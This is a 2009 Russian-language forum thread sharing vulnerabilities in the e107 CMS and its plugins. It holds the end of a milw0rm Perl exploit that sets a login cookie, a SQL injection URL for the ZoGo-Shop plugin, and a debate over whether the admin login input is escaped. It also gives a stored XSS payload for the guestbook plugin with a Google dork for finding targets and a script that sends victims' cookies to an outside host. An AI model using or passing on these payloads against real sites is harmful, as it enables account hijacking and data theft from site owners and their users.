            $sock_u->default_header('Cookie' => "e107cookie=$1.$2;");
            $sock_u->agent('Lynx (textmode) - Logged');
        }
        else {
          die("Login failed..\n");
        } 
}

# milw0rm.com [2009-04-20]


[underwater] 28.04.2009 17:50

ZoGo-Shop e107 plugin

Vuln File:
product_details.php

Vuln Code:
Код:

e107_plugins/zogo-shop/product_details.php
$product_ID=$_GET["product"];

Exploit:
Код:

http://localhost/[path]/e107_plugins/zogo-shop/product_details.php?product=[SQL]

Psi.X 04.05.2009 00:41

Есть такая штука...
В файле e107_admin/auth.php
PHP код:

    function authcheck($authname$authpass)
    {
        
/*
        # Admin auth check
        # - parameter #1:                string $authname, entered name
        # - parameter #2:                string $authpass, entered pass
        # - return                                boolean if fail, else result array
        # - scope                                        public
        */
        
global $tp;
        
$sql_auth = new db;
        
$authname $tp -> toDB(preg_replace("/\sOR\s|\=|\#/"""$authname));
        if (
$sql_auth->db_Select("user""*"""))//"user_loginname='$authname' OR 1=1"))// AND user_admin='1' ")) 

Логин приходит в базу через $tp -> toDB() но НЕ ФИЛЬТРУЕТСЯ !
Можно дописать после нее echo $authname, и мы увидим резалт.
Но у меня на локалхосте так и не получилось что-либо сделать. Выходит какаето ерунда...
Запрос вроде есть мускл возвр хендл, но когда идет проверка на кол-во строк возвр 0
Хоть убей не понимаю в чем дело...

Grey 06.05.2009 18:24

Цитата:

Сообщение от Psi.X
Логин приходит в базу через $tp -> toDB() но НЕ ФИЛЬТРУЕТСЯ !
Можно дописать после нее echo $authname, и мы увидим резалт.

Ну как же не фильтруется, когда напротив очень даже фильтруется.
Смотрим e107_handlers/e_parse_class.php

Дабы избежать того, на что наткнулся ты, я поставлю /*1*/ в те участки кода, которые браузер воспринимает не так как они есть на самом деле:

Код:

        function toDB($data, $nostrip = false, $no_encode = false, $mod = false)
        {
                global $pref;
                if (is_array($data)) {
                        // recursively run toDB (for arrays)
                        foreach ($data as $key => $var) {
                                $ret[$key] = $this -> toDB($var, $nostrip, $no_encode, $mod);
                        }
                } else {
                        if (MAGIC_QUOTES_GPC == TRUE && $nostrip == false) {
                                $data = stripslashes($data);
                        }
                        if(isset($pref['post_html']) && check_class($pref['post_html']))
                        {
                                $no_encode = TRUE;
                        }
                        if ($no_encode === TRUE && $mod != 'no_html')
                        {
                                $search = array('$', '"', "'", '\\', '<?');
                                $replace = array('&#/*1*/036;','&q/*1*/uot;','&#/*1*/039;', '&#0/*1*/92;', '&/*1*/lt;?');
                                $ret = str_replace($search, $replace, $data);
                        } else {
                                $data = htmlspecialchars($data, ENT_QUOTES, CHARSET);
                                $data = str_replace('\\', '\', $data);
                                $ret = preg_replace("/&amp;#(\d*?);/", "&#\\1;", $data);
                        }
                        //If user is not allowed to use [php] change to entities
                        if(!check_class($pref['php_bbcode']))
                        {
                                $ret = preg_replace("#\[(php)#i", "[\\1", $ret);
                        }

                }

                return $ret;
        }

Если чуть короче, то вот замена, которая нам нужна:

' -> &#/*1*/039;

Что делает браузер? отображает &#/*1*/039; как привычную кавычку.
Что делаешь ты? дописываешь в код echo($authname);
И видишь, то, что хочешь увидеть - кавычку, а вот если заглянуть в сорец странички (html (Вид - Исходный код страницы)), то можно увидеть что кавычки там нету, а есть &#/*1*/039;

ettee 08.05.2009 18:55

Уязвимость существует из-за недостаточной обработки входных данных параметра "email" в POST запросе сценария guestbook.php.
Уязвимое поле "E-mail". Сформированные Post data заголовок:
Код:

POSTDATA=name=E107 CMS (e107_plugins/guestbook) stored XSS by ettee(itdefence.ru)&email='><script>alert('xss')</script>
Example: http://target/e107_plugins/guestbook/guestbook.php?edit.2. Где "2" является номером вашего сообщения.
Google dork: inurl:/e107_plugins/guestbook/guestbook.php
Cookie: '><script>img = new Image(); img.src = "http://someshit.net/image/s.gif?"+document.cookie;</script>


Время: 13:39